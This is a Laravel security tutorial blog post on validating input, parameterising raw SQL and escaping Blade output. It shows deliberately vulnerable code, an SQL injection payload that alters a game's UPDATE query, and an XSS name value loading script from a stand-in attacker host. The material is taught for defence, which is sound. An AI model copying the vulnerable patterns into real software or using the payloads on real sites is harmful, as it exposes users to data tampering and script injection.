Laravel Security 101: Never trust your users

Tutorials

February 25th, 2022

Laravel Security 101: Never trust your users

The primary goal of a developer is to gain the trust of our users. We want them to trust our code, trust our apps, and trust our brand. Because if a user trusts us, they'll keep coming back. They'll accept and live with the annoying bugs and the missing features (not that we want these, but they do happen...), and they'll trust everything else will work, that their data will be safe, and that we're not wasting their time.

However, as a developer, we absolutely cannot trust our users. Ever!

When we talk about trusting users, it means we cannot trust their input. We can't trust them to provide the correct information, use the correct formats, or even only perform expected actions. The problem is, users are complex and frustrating creatures. Some users have malicious intentions, and will go looking for ways to break or compromise your apps. Others may think differently to you, and will do things you won't expect - stumbling upon bugs and accessing data they shouldn't have access to (my wife is an expert at this!). And others are simply lost and confused, and will try things to get back to where they started.

So our job as developers is to secure our apps from our users. We need to be paranoid with the input we receive, and have multiple defences in place to ensure that no matter what a user does, our app is safe. Oh, and somehow convince our users we don't distrust them, so they'll trust us. Easy, right?

So today we're going to take a look at a few ways we can avoid trusting our users:

Validating Inputs

When you think of "inputs" into your application, you're going to immediately think about forms and form data. You ask your users to provide some information or answer some questions, and then receive and store the input they provided.

Consider the following form:

Basic form

Of the pieces of information collected here, it would be very simple to assume the email address will be a valid email address (especially if we used an HTML5 email input field), and the country will be a valid country (because it's a select box).

But you can't trust your users by making those assumptions. The user can modify the HTML in the browser to make those input fields accept absolutely anything.

Instead we need to be explicit about our input validation:

  • First / last name
    • Required field
    • Must be a string
    • Max length 255
  • Email address
    • Required field
    • Must be a string
    • Must be a recognisable email address format
    • Max length 255
    • Must not be used by another user in the database
  • Country
    • Required field
    • Must be in a pre-defined list of allowed countries

Now that we have our explicit rules defined, we can use Laravel's incredibly powerful validation component to validate the input to ensure it's exactly what we expect it to be.

1$data = $request->validate([
2 'first_name' => ['required', 'string', 'max:255'],
3 'Last_name' => ['required', 'string', 'max:255'],
4 'email' => ['required', 'string', 'email', 'max:255', 'unique:users'],
5 'country' => ['required', Rule::in($this->allowedCountries())],
6]);

If the validator passes, we know that $data contains values which match our expectations, which can be stored safely in the database and used carefully throughout the app. Country is safe to use throughout as it will be an exact match to our allowed list, and we know the email is in a valid format so we can start sending notifications to it.

The first/last name, on the other hand, we'll get to next.

Before we move on, it's important to note that the validator will only return keys that were included in the validation rules. This means any extra data that ends up being submitted in the form will be ignored, making it safe to pass directly into a model via create(), fill(), or update(), avoiding what's known as a mass-assignment vulnerability. This is how I always store data on my models.

Parameterised Queries

So we've implemented our forms and asked our users for data, which they have provided. But now we need to write some database queries to use our data. Here comes that pesky trust issue again.

In Laravel, we're normally writing our queries like this:

1$name = $request->query(‘name');
2$user = DB::table('users')->where('name', $name)->get();

The key component here is the where() method, where the second parameter ($name) comes directly from user input. Laravel automatically includes this second parameter as a parameterised query, which prevents SQL injection by passing it directly to the database. This is one of the brilliant features of Laravel, and it makes it hard to write vulnerable queries unintentionally.

However, what if you need a really complex query or want to use some database-engine specific logic? Or if you just need to run a query which is far more efficient to write in raw SQL?

You'll find that sometimes you do need to dive into custom queries, and this is when parameterised queries are important.

Consider this code:

1public function store(Request $request)
2{
3 $data = $request->validate([
4 'game' => ['required'],
5 'date' => ['required'],
6 ])
7 
8 DB::statement("UPDATE game_user SET turns += event_increment WHERE game_id = {$data['game']}");
9}

When the developer wrote this code, they were expecting $data['game'] to be an integer when it's injected into the query (and they'd read that raw integer comparisons are faster!). Sure, it's passed through the browser, but they figured it was a hidden field and nobody would notice! But it's still an input field, and a hacker can modify it as much as they like...

As I mentioned previously, Laravel includes parameterisation built-in to the query builder, and we can easily use this when building manual queries too. Rather than injecting the variables into the query string directly, replace them with a question mark (?), and include them as a second parameter in the method call. The database understands that the question mark is a placeholder and knows how to safely replace the parameters into the query when it executes.

In this instance, we can do something like this:

1DB::statement("UPDATE game_user SET turns += event_increment WHERE game_id = ?", [$data['game']]);

Basically all of the Laravel query methods support parameters in this way, so there is no excuse not to use them.

(As a side note, we can also fix this specific vulnerability through validating an integer input, and ideally we'd do both, for added protection.)

If you'd like to dive deeper into parameterised queries, I've written about them on Laravel Security in Depth, and I'd recommend checking the official Laravel Database and Eloquent documentation.

Before we move on, let's quickly look at what a hacker could have done with this vulnerable query.

To add some context: when this query is executed, it increments the number of turns in the game for every user by the event_increment amount. This benefits all users in the game equally.

If I was a hacker who discovered this vulnerability, I would want to increment only my own turns in the game. I could use a series of guesses and trial-and-error to come up with input that looks like this to submit in the game field:

142 && user_id = (SELECT id FROM users WHERE email = 'stephen@evilhacker.dev' LIMIT 1)

Submitting this to the app would produce the following SQL query:

1DB::statement("UPDATE game_user SET turns += event_increment WHERE game_id = 42 && user_id = (SELECT id FROM users WHERE email = `stephen@evilhacker.dev` LIMIT 1)");

Cleaned up a bit:

1UPDATE game_user
2SET turns += event_increment
3WHERE game_id = 42
4 AND user_id = (
5 SELECT id
6 FROM users
7 WHERE email = 'stephen@evilhacker.dev'
8 LIMIT 1
9 )

And that's it. My turns would increment but no one else's would. Super simple, all due to a lack of validation and query parameterisation.

This is a trivial example, but you can do A LOT with SQL Injection. There are lots of tricks for extracting information, including when the page doesn't return any visible feedback (or error messages!). If you'd like to learn more, we dived into SQL Injection in October in Laravel Security in Depth, including an intentionally vulnerable webapp where you can make your own SQLi attacks. Check it out here.

Escaping Outputs

By this point you're probably wanting me to hurry up and finish so you can get back and check all of your validation is explicit enough, and your queries are properly parameterised, so I won't keep you for much longer. (I know every time I write about this stuff I have horrible flashbacks to the terribly vulnerable code I've written in the past!)

But there is one thing I want to reinforce before we're done here, and that is escaping data properly. If you remember one thing, remember that you should go out of your way to avoid using the unescaped blade tags.

These things here:

1{!! $variable !!}

Please, just don't use them.

You need to be mindful of what you're outputting on the page. Consider our input from before, with the first and last name for the user.

What if the user submitted this as their first name:

1Stephen <script src="https://evilhacker.dev/evil.js"></script>

And then we did this on the page:

1{{ $user->first_name }}

As you'd expect, we'd see their name and the script tag - printed in plain text. It'd be perfectly safe to load and we'd immediately know they were trying to inject some evil javascript.

But what if our code looked like this:

1// Controller
2$links = $pages
3 ->map(fn ($page) => "<a href=\"{$page->url}\">{$user->first_name}</a>")
4 ->join(', ', ' and ');
5 
6return view('pages', ['links' => $links])
1// Template
2<div>
3 {!! $links !!}
4</div>

All we'd see is "Stephen", and the malicious Javascript would be running in the browser, doing whatever the hacker wants. You can easily see why the developer reached for this solution, but it leaves the app wide open to XSS.

So how do we do it? I've said to avoid unescaped output, but how do we safely display stuff like this?

Laravel provides two helpers for us to use in this instance:

  1. We have the e($value) function, which does the actual escaping of output when you use the {{ $value }} tags. You can call it anywhere.
  2. If you wrap something inside the Illuminate\Support\HtmlString class, it will bypass escaping.

Let's see it in action:

1// Controller
2$links = $pages
3 ->map(fn ($page) => "<a href=\"{$page->url}\">".e($user->first_name)."</a>")
4 ->join(', ', ' and ');
5 
6return view('pages', ['links' => new HtmlString($links)])
1// Template
2<div>
3 {{ $links }}
4</div>

Although you can skip the HtmlString class and just use unescaped output tags, I love this approach because of the intentionality behind it. You intentionally escape the user data, and then intentionally wrap the generated HTML inside the class, before intentionally passing it to the view in the safe output tags. You're aware of the data and what format it is in the entire time.

In other words, you're not trusting the user data at any step of the process. That's the key to keeping your app secure: Never trust your users.

I covered Escaping Output Safely on Laravel Security in Depth last November, if you'd like to dive deeper into the topic. It includes some Cross-Site Scripting challenges, if you'd like to get a feel for how XSS works.

Filed in:

Stephen Rees-Carter

Stephen is a security consultant who specialises in security audits and pentests of Laravel apps, he is the creator of Laravel Security in Depth, where he teaches Laravel developers about security concepts and how to think like a hacker. His Laracon talks have been described as "terrifying magic tricks", that show just how easy it is to hack into a vulnerable site and cause mayhem.